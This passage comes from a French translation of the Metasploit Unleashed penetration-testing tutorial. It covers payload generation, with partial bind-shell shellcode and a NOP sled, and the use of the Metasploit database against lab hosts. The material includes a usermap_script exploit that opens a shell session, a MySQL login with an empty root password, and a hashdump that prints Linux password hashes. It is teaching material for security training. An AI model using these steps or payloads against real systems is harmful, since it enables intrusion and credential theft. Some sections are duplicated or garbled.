-t est utilisé. Comme toutes les autres options, il suffit de taper le commutateur suivi du nom
du format affiché dans le menu d'aide.
msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
msf payload(shell_bind_tcp) > generate -t c
/*
* windows/shell_bind_tcp - 341 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
...snip...
msf payload(shell_bind_tcp) > generate -t java
/*
* windows/shell_bind_tcp - 341 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
byte shell[] = new byte[]
{
(byte) 0xfc, (byte) 0xe8, (byte) 0x89, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89,
(byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64,
(byte) 0x8b, (byte) 0x52, (byte) 0x30, (byte) 0x8b,
(byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52,
(byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28,
(byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26,
(byte) 0x31, (byte) 0xff, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c,
(byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1,
...snip...
En regardant la sortie des différents langages de programmation, nous voyons que chaque
sortie adhère à leur syntaxe de langage respective. Un hachage '#' est utilisé pour les
commentaires en Ruby mais en C, il est remplacé par la syntaxe des caractères slash et
astérisque '/*'. En regardant les trois sorties, les tableaux sont correctement déclarés pour le
format de langue sélectionné. Le préparer à être copié et collé dans votre script.
L'ajout d'un traîneau NOP (aucune opération ou opération suivante) s'effectue avec le
commutateur -s suivi du nombre de NOP. Cela ajoutera le traîneau au début de notre charge
utile. Gardez à l'esprit que plus le traîneau est gros, plus le shellcode sera gros. Donc, l'ajout
de 10 NOP ajoutera 10 octets à la taille totale.
msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...
msf payload(shell_bind_tcp) > generate -s 14
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# NOP gen: x86/opty2
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a" +
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...
Le texte jaune surligné nous montre notre traîneau NOP au début de la charge utile. En
comparant les 3 lignes suivantes avec le shellcode juste au-dessus, nous voyons qu'elles
sont exactement les mêmes. Le nombre total d'octets, comme prévu, a augmenté
d'exactement 14 octets.
DATABASES IN METASPLOIT
STORE INFORMATION IN A DATABASE USING
METASPLOIT
Lors d'un test d'intrusion, il est souvent difficile de garder une trace de tout ce que
vous avez fait sur (ou vers) le réseau cible. C'est là que la configuration d'une base
de données peut être un gain de temps considérable. Metasploit a un support intégré
pour le système de base de données PostgreSQL.
Le système permet un accès rapide et facile aux informations d'analyse et nous
donne la possibilité d'importer et d'exporter les résultats d'analyse à partir de divers
outils tiers. Nous pouvons également utiliser ces informations pour configurer les
options du module assez rapidement. Plus important encore, il maintient nos
résultats propres et organisés.
msf > help database
Database Backend Commands
=========================
Command Description
------- -----------
db_connect Connect to an existing database
db_disconnect Disconnect from the current database
instance
db_export Export a file containing the contents of
the database
db_import Import a scan result file (filetype will
be auto-detected)
db_nmap Executes nmap and records the output
automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
msf > hosts
Hosts
=====
address mac name os_name
os_flavor os_sp purpose info comments
------- --- ---- -------
--------- ----- ------- ---- --------
172.16.194.134 Unknown
device
172.16.194.163 172.16.194.163 Linux
Ubuntu server
172.16.194.172 00:0C:29:D1:62:80 172.16.194.172 Linux
Ubuntu server
msf > services -p 21
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.194.172 21 tcp ftp open vsftpd 2.3.4
Dans la section suivante de Metasploit Unleashed, nous examinerons la
configuration de notre base de données Metasploit.
NEXT PAGE ›
Using the Database in Metasploit
USING THE DATABASE IN
METASPLOIT
CONTENTS
1 CONFIGURATION
2 ESPACES DE TRAVAIL
3 IMPORTATION ET NUMÉRISATION
4 SAUVEGARDE
5 HTES
6 MISE EN PLACE DES MODULES
7 PRESTATIONS
8 CSV EXPORTATION
9 CRÉDITS
10 BUTIN
METTRE EN PLACE NOTRE BASE DE DONNÉES METASPLOIT
Dans Kali, vous devrez démarrer le serveur postgresql avant d'utiliser la base de
données.
root@kali:~# systemctl start postgresql
Après avoir démarré postgresql, vous devez créer et initialiser la base de données
msf avec msfdb init
root@kali:~# msfdb init
Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-
framework/config/database.yml
Creating initial database schema
UTILISER LES ESPACES DE TRAVAIL DANS METASPLOIT
Lorsque nous chargeons msfconsole et exécutons db_status, nous pouvons
confirmer que Metasploit est correctement connecté à la base de données.
msf > db_status
[*] postgresql connected to msf
Voir cette capacité est un moyen de garder une trace de nos activités et de nos
analyses. Il est impératif de partir du bon pied. Une fois connecté à la base de
données, nous pouvons commencer à organiser nos différents déplacements en
utilisant ce qu'on appelle des « espaces de travail ». Cela nous donne la possibilité
d'enregistrer différentes analyses à partir de différents emplacements/réseaux/sous-
réseaux par exemple.
L'émission de la commande « espace de travail » à partir de la msfconsole affichera
les espaces de travail actuellement sélectionnés. L'espace de travail « par défaut »
est sélectionné lors de la connexion à la base de données, qui est représenté par le *
à côté de son nom.
msf > workspace
* default
msfu
lab1
lab2
lab3
lab4
msf >
Comme nous pouvons le voir, cela peut être très pratique lorsqu'il s'agit de garder
les choses "propres". Modifions l'espace de travail actuel en « msfu ».
msf > workspace msfu
[*] Workspace: msfu
msf > workspace
default
* msfu
lab1
lab2
lab3
lab4
msf >
Pour créer et supprimer un espace de travail, il suffit d'utiliser -a ou -d suivi du nom à
l'invite msfconsole.
msf > workspace -a lab4
[*] Added workspace: lab4
msf >
msf > workspace -d lab4
[*] Deleted workspace: lab4
msf > workspace
C'est aussi simple que cela, utiliser la même commande et ajouter le commutateur
-h nous fournira les autres capacités de la commande.
msf > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r Rename workspace
workspace -h Show this help information
msf >
À partir de maintenant, toute analyse ou importation d'applications tierces sera
enregistrée dans cet espace de travail.
Maintenant que nous sommes connectés à notre base de données et à la
configuration de notre espace de travail, voyons comment la remplir avec des
données. Nous allons d'abord examiner les différentes commandes 'db_' disponibles
à l'aide de la commande help de la msfconsole.
msf > help
...snip...
Database Backend Commands
=========================
Command Description
------- -----------
creds List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database
instance
db_export Export a file containing the contents of
the database
db_import Import a scan result file (filetype will
be auto-detected)
db_nmap Executes nmap and records the output
automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
IMPORTATION ET NUMÉRISATION
Nous pouvons procéder de plusieurs manières, en scannant un hôte ou un réseau
directement depuis la console ou en important un fichier à partir d'une analyse
précédente. Commençons par importer un scan nmap de l'hôte « metasploitable 2 ».
Cela se fait en utilisant db_import suivi du chemin d'accès à notre fichier.
msf > db_import /root/msfu/nmapScan
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'
[*] Importing host 172.16.194.172
[*] Successfully imported /root/msfu/nmapScan
msf > hosts
Hosts
=====
address mac name os_name os_flavor
os_sp purpose info comments
------- --- ---- ------- ---------
----- ------- ---- --------
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu
server
msf >
IMPORTATION ET NUMÉRISATION
Nous pouvons procéder de plusieurs manières, en scannant un hôte ou un réseau
directement depuis la console ou en important un fichier à partir d'une analyse
précédente. Commençons par importer un scan nmap de l'hôte « metasploitable 2 ».
Cela se fait en utilisant db_import suivi du chemin d'accès à notre fichier.
msf > db_nmap -A 172.16.194.134
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-06-
18 12:36 EDT
[*] Nmap: Nmap scan report for 172.16.194.134
[*] Nmap: Host is up (0.00031s latency).
[*] Nmap: Not shown: 994 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 80/tcp open http Apache httpd 2.2.17
((Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4
...snip...
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 0.31 ms 172.16.194.134
[*] Nmap: OS and Service detection performed. Please report any
incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.91
seconds
msf >
msf > hosts
Hosts
=====
address mac name os_name
os_flavor os_sp purpose info comments
------- --- ---- -------
--------- ----- ------- ---- --------
172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP
server
172.16.194.172 00:0C:29:D1:62:80 Linux
Ubuntu server
msf >
SAUVEGARDE DE NOS DONNÉES
Exporter nos données en dehors de l'environnement Metasploit est très simple. En
utilisant la commande db_export, toutes nos informations recueillies peuvent être
enregistrées dans un fichier XML. Ce format peut être facilement utilisé et manipulé
ultérieurement à des fins de rapport. La commande a 2 sorties, le format xml, qui
exportera toutes les informations actuellement stockées dans notre espace de travail
actif, et le format pwdump, qui exporte tout ce qui concerne les informations
d'identification utilisées/collectées.
msf > db_export -h
Usage:
db_export -f [-a] [filename]
Format can be one of: xml, pwdump
[-] No output file was specified
msf > db_export -f xml /root/msfu/Exported.xml
[*] Starting export of workspace msfu to
/root/msfu/Exported.xml [ xml ]...
[*] >> Starting export of report
[*] >> Starting export of hosts
[*] >> Starting export of events
[*] >> Starting export of services
[*] >> Starting export of credentials
[*] >> Starting export of web sites
[*] >> Starting export of web pages
[*] >> Starting export of web forms
[*] >> Starting export of web vulns
[*] >> Finished export of report
[*] Finished export of workspace msfu to
/root/msfu/Exported.xml [ xml ]...
UTILISATION DE LA COMMANDE HTES
Maintenant que nous pouvons importer et exporter des informations vers et depuis
notre base de données, voyons comment nous pouvons utiliser ces informations
dans la msfconsole. De nombreuses commandes sont disponibles pour rechercher
des informations spécifiques stockées dans notre base de données. Noms d'hôtes,
adresse, services découverts, etc. Nous pouvons même utiliser les données
résultantes pour remplir les paramètres de module tels que RHOSTS. Nous verrons
comment cela se fait un peu plus tard.
La commande hosts a été utilisée précédemment pour confirmer la présence de
données dans notre base de données. Examinons les différentes options disponibles
et voyons comment nous les utilisons pour nous fournir des informations rapides et
utiles. L'exécution de la commande avec -h affichera le menu d'aide.
msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 ...]
OPTIONS:
-a,--add Add the hosts instead of searching
-d,--delete Delete the hosts instead of searching
-c <col1,col2> Only show the given columns (see list
below)
-h,--help Show this help information
-u,--up Only show hosts which are up
-o Send output to a file in csv format
-O Order rows by specified column number
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
-i,--info Change the info of a host
-n,--name Change the name of a host
-m,--comment Change the comment of a host
-t,--tag Add or specify a tag to a range of hosts
Available columns: address, arch, comm, comments, created_at,
cred_count, detected_arch, exploit_attempt_count,
host_detail_count, info, mac, name, note_count, os_family,
os_flavor, os_lang, os_name, os_sp, purpose, scope,
service_count, state, updated_at, virtual_host, vuln_count,
tags
Nous commencerons par demander à la commande hosts d'afficher uniquement
l'adresse IP et le type de système d'exploitation à l'aide du commutateur -c.
msf > hosts -c address,os_flavor
Hosts
=====
address os_flavor
------- ---------
172.16.194.134 XP
172.16.194.172 Ubuntu
MISE EN PLACE DES MODULES
Une autre fonctionnalité intéressante à notre disposition est la possibilité de
rechercher dans toutes nos entrées quelque chose de spécifique. Imaginez si nous
souhaitions trouver uniquement les machines basées sur Linux à partir de notre
analyse. Pour cela, nous utiliserions l'option -S. Cette option peut être combinée
avec notre exemple précédent et aider à affiner nos résultats.
msf > hosts -c address,os_flavor -S Linux
Hosts
=====
address os_flavor
------- ---------
172.16.194.172 Ubuntu
msf >
En utilisant la sortie de notre exemple précédent, nous l'introduirons dans le module
auxiliaire d'analyse 'tcp'.
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of
concurrent ports to check per host
FILTER no The filter string
for capturing traffic
INTERFACE no The name of the
interface
PCAPFILE no The name of the PCAP
capture file to process
PORTS 1-10000 yes Ports to scan (e.g.
22-25,80,110-900)
RHOSTS yes The target address
range or CIDR identifier
SNAPLEN 65535 yes The number of bytes
to capture
THREADS 1 yes The number of
concurrent threads
TIMEOUT 1000 yes The socket connect
timeout in milliseconds
Nous pouvons voir par défaut, rien n'est défini dans 'RHOSTS', nous allons ajouter
le commutateur -R à la commande hosts et exécuter le module. Espérons qu'il
fonctionnera et analysera notre cible sans aucun problème.
msf auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R
Hosts
=====
address os_flavor
------- ---------
172.16.194.172 Ubuntu
RHOSTS => 172.16.194.172
msf auxiliary(tcp) > run
[*] 172.16.194.172:25 - TCP OPEN
[*] 172.16.194.172:23 - TCP OPEN
[*] 172.16.194.172:22 - TCP OPEN
[*] 172.16.194.172:21 - TCP OPEN
[*] 172.16.194.172:53 - TCP OPEN
[*] 172.16.194.172:80 - TCP OPEN
...snip...
[*] 172.16.194.172:5432 - TCP OPEN
[*] 172.16.194.172:5900 - TCP OPEN
[*] 172.16.194.172:6000 - TCP OPEN
[*] 172.16.194.172:6667 - TCP OPEN
[*] 172.16.194.172:6697 - TCP OPEN
[*] 172.16.194.172:8009 - TCP OPEN
[*] 172.16.194.172:8180 - TCP OPEN
[*] 172.16.194.172:8787 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Bien sûr, cela fonctionne également si nos résultats contiennent plus d'une adresse.
msf auxiliary(tcp) > hosts -R
Hosts
=====
address mac name os_name
os_flavor os_sp purpose info comments
------- --- ---- -------
--------- ----- ------- ---- --------
172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP
server
172.16.194.172 00:0C:29:D1:62:80 Linux
Ubuntu server
RHOSTS => 172.16.194.134 172.16.194.172
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required
Description
---- --------------- --------
-----------
CONCURRENCY 10 yes The
number of concurrent ports to check per host
FILTER no The
filter string for capturing traffic
INTERFACE no The
name of the interface
PCAPFILE no The
name of the PCAP capture file to process
PORTS 1-10000 yes Ports
to scan (e.g. 22-25,80,110-900)
RHOSTS 172.16.194.134 172.16.194.172 yes The
target address range or CIDR identifier
SNAPLEN 65535 yes The
number of bytes to capture
THREADS 1 yes The
number of concurrent threads
TIMEOUT 1000 yes The
socket connect timeout in milliseconds
Vous pouvez voir à quel point cela peut être utile si notre base de données contient
des centaines d'entrées. Nous pourrions rechercher uniquement les machines
Windows, puis définir très rapidement l'option RHOSTS pour le module auxiliaire
smb_version. Le commutateur set RHOSTS est disponible dans presque toutes les
commandes qui interagissent avec la base de données.
PRESTATIONS DE SERVICE
Une autre façon de rechercher la base de données consiste à utiliser la commande
services. Comme les exemples précédents, nous pouvons extraire des informations
très spécifiques avec peu d'effort.
msf > services -h
Usage: services [-h] [-u] [-a] [-r ] [-p >port1,port2>] [-s
>name1,name2>] [-o ] [addr1 addr2 ...]
-a,--add Add the services instead of searching
-d,--delete Delete the services instead of searching
-c <col1,col2> Only show the given columns
-h,--help Show this help information
-s <name1,name2> Search for a list of service names
-p <port1,port2> Search for a list of ports
-r Only show [tcp|udp] services
-u,--up Only show services which are up
-o Send output to a file in csv format
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
Available columns: created_at, info, name, port, proto, state,
updated_at
De la même manière que la commande hosts, nous pouvons spécifier les champs à
afficher. Couplé au commutateur -S, nous pouvons également rechercher un service
contenant une chaîne particulière.
msf > services -c name,info 172.16.194.134
Services
========
host name info
---- ---- ----
172.16.194.134 http Apache httpd 2.2.17 (Win32)
mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4
Perl/v5.10.1
172.16.194.134 msrpc Microsoft Windows RPC
172.16.194.134 netbios-ssn
172.16.194.134 http Apache httpd 2.2.17 (Win32)
mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4
Perl/v5.10.1
172.16.194.134 microsoft-ds Microsoft Windows XP microsoft-ds
172.16.194.134 mysql
Ici, nous recherchons tous les hôtes contenus dans notre base de données avec un
nom de service contenant la chaîne 'http'.
msf > services -c name,info -S http
Services
========
host name info
---- ---- ----
172.16.194.134 http Apache httpd 2.2.17 (Win32)
mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4
Perl/v5.10.1
172.16.194.134 http Apache httpd 2.2.17 (Win32)
mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4
Perl/v5.10.1
172.16.194.172 http Apache httpd 2.2.8 (Ubuntu) DAV/2
172.16.194.172 http Apache Tomcat/Coyote JSP engine 1.1
Les combinaisons de recherche sont énormes. Nous pouvons utiliser des ports
spécifiques ou des plages de ports. Nom de service complet ou partiel lors de
l'utilisation des commutateurs -s ou -S. Pour tous les hôtes ou juste quelques-uns…
La liste s'allonge encore et encore. Voici quelques exemples, mais vous devrez peut-
être expérimenter ces fonctionnalités afin d'obtenir ce que vous voulez et ce dont
vous avez besoin pour vos recherches.
msf > services -c info,name -p 445
Services
========
host info name
---- ---- ----
172.16.194.134 Microsoft Windows XP microsoft-ds
microsoft-ds
172.16.194.172 Samba smbd 3.X workgroup: WORKGROUP netbios-
ssn
msf > services -c port,proto,state -p 70-81
Services
========
host port proto state
---- ---- ----- -----
172.16.194.134 80 tcp open
172.16.194.172 75 tcp closed
172.16.194.172 71 tcp closed
172.16.194.172 72 tcp closed
172.16.194.172 73 tcp closed
172.16.194.172 74 tcp closed
172.16.194.172 70 tcp closed
172.16.194.172 76 tcp closed
172.16.194.172 77 tcp closed
172.16.194.172 78 tcp closed
172.16.194.172 79 tcp closed
172.16.194.172 80 tcp open
172.16.194.172 81 tcp closed
msf > services -s http -c port 172.16.194.134
Services
========
host port
---- ----
172.16.194.134 80
172.16.194.134 443
msf > services -S Unr
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.194.172 6667 tcp irc open Unreal ircd
172.16.194.172 6697 tcp irc open Unreal ircd
EXPORTATION CSV
Les commandes hosts et services nous permettent d'enregistrer les résultats de nos
requêtes dans un fichier. Le format de fichier est une valeur séparée par des
virgules, ou CSV. Suivi par le -o avec chemin et nom de fichier, les informations qui
ont été affichées à l'écran à ce stade seront maintenant enregistrées sur le disque.
msf > services -s http -c port 172.16.194.134 -o
/root/msfu/http.csv
[*] Wrote services to /root/msfu/http.csv
msf > hosts -S Linux -o /root/msfu/linux.csv
[*] Wrote hosts to /root/msfu/linux.csv
msf > cat /root/msfu/linux.csv
[*] exec: cat /root/msfu/linux.csv
address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","se
rver","",""
msf > cat /root/msfu/http.csv
[*] exec: cat /root/msfu/http.csv
host,port
"172.16.194.134","80"
"172.16.194.134","443"
CREDS
La commande creds est utilisée pour gérer les informations d'identification trouvées
et utilisées pour les cibles dans notre base de données. L'exécution de cette
commande sans aucune option affichera les informations d'identification
actuellement enregistrées.
msf > creds
Credentials
===========
host port user pass type active?
---- ---- ---- ---- ---- -------
[*] Found 0 credentials.
Comme avec la commande 'db_nmap', les résultats positifs relatifs aux informations
d'identification seront automatiquement enregistrés dans notre espace de travail
actif. Exécutons le module auxiliaire 'mysql_login' et voyons ce qui se passe lorsque
Metasploit analyse notre serveur.
msf auxiliary(mysql_login) > run
[*] 172.16.194.172:3306 MYSQL - Found remote MySQL version
5.0.51a
[*] 172.16.194.172:3306 MYSQL - [1/2] - Trying username:'root'
with password:''
[*] 172.16.194.172:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) > creds
Credentials
===========
host port user pass type active?
---- ---- ---- ---- ---- -------
172.16.194.172 3306 root password true
[*] Found 1 credential.
msf auxiliary(mysql_login) >
Nous pouvons voir que le module a pu se connecter à notre serveur mysql, et à
cause de cela, Metasploit a automatiquement enregistré les informations
d'identification dans notre base de données pour référence future.
Pendant la post-exploitation d'un hôte, la collecte des informations d'identification de
l'utilisateur est une activité importante afin de pénétrer davantage un réseau cible. Au
fur et à mesure que nous rassemblons des ensembles d'informations d'identification,
nous pouvons les ajouter à notre base de données avec la commande creds -a.
msf > creds -a 172.16.194.134 -p 445 -u Administrator -P
7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c42
5e:::
[*] Time: 2012-06-20 20:31:42 UTC Credential:
host=172.16.194.134 port=445 proto=tcp sname= type=password
user=Administrator
pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f
05c425e::: active=true
msf > creds
Credentials
===========
host port user pass
type active?
---- ---- ---- ----
---- -------
172.16.194.134 445 Administrator
7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c42
5e::: password true
[*] Found 1 credential.
LOOT
Une fois que vous avez compromis un système (ou trois), l'un des objectifs peut être
de récupérer des vidages de hachage. Depuis un système Windows ou *nix. En cas
de vidage de hachage réussi, ces informations seront stockées dans notre base de
données. Nous pouvons voir ces dumps en utilisant la commande loot. Comme pour
presque toutes les commandes, l'ajout du commutateur -h affichera un peu plus
d'informations.
msf > loot -h
Usage: loot
Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t
[type]
Del: loot -d [addr1 addr2 ...]
-a,--add Add loot to the list of addresses, instead
of listing
-d,--delete Delete *all* loot matching host and type
-f,--file File with contents of the loot to add
-i,--info Info of the loot to add
-t <type1,type2> Search for a list of types
-h,--help Show this help information
-S,--search Search string to filter by
Voici un exemple de la façon dont on pourrait remplir la base de données avec du
LOOT.
msf exploit(usermap_script) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 4uGPYOrars5OojdL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "4uGPYOrars5OojdL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 ->
172.16.194.172:55138) at 2012-06-27 19:38:54 -0400
^Z
Background session 1? [y/N] y
msf exploit(usermap_script) > use post/linux/gather/hashdump
msf post(hashdump) > show options
Module options (post/linux/gather/hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this
module on.
msf post(hashdump) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell unix 172.16.194.163:4444 ->
172.16.194.172:55138 (172.16.194.172)
msf post(hashdump) > run
[+] root:
$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:
$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/fal
se
[+] msfadmin:
$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/
msfadmin:/bin/bash
[+] postgres:
$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL
administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a
user,111,,:/home/user:/bin/bash
[+] service:
$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:
/bin/bash
[+] Unshadowed Password File:
/root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashe
s_264208.txt
[*] Post module execution completed
msf post(hashdump) > loot
Loot
====
host service type name
content info path
---- ------- ---- ----
------- ---- ----
172.16.194.172 linux.hashes unshadowed_passwd.pwd
text/plain Linux Unshadowed Password File
/root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashe
s_264208.txt
172.16.194.172 linux.passwd passwd.tx
text/plain Linux Passwd File
/root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passw
d_953644.txt
172.16.194.172 linux.shadow shadow.tx
text/plain Linux Password Shadow File
/root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shado
w_492948.txt
‹ PREVIOUS PAGE
Databases in Metasploit
NEXT PAGE ›
About the Metasploit Meterpreter
READY TO ENROLL?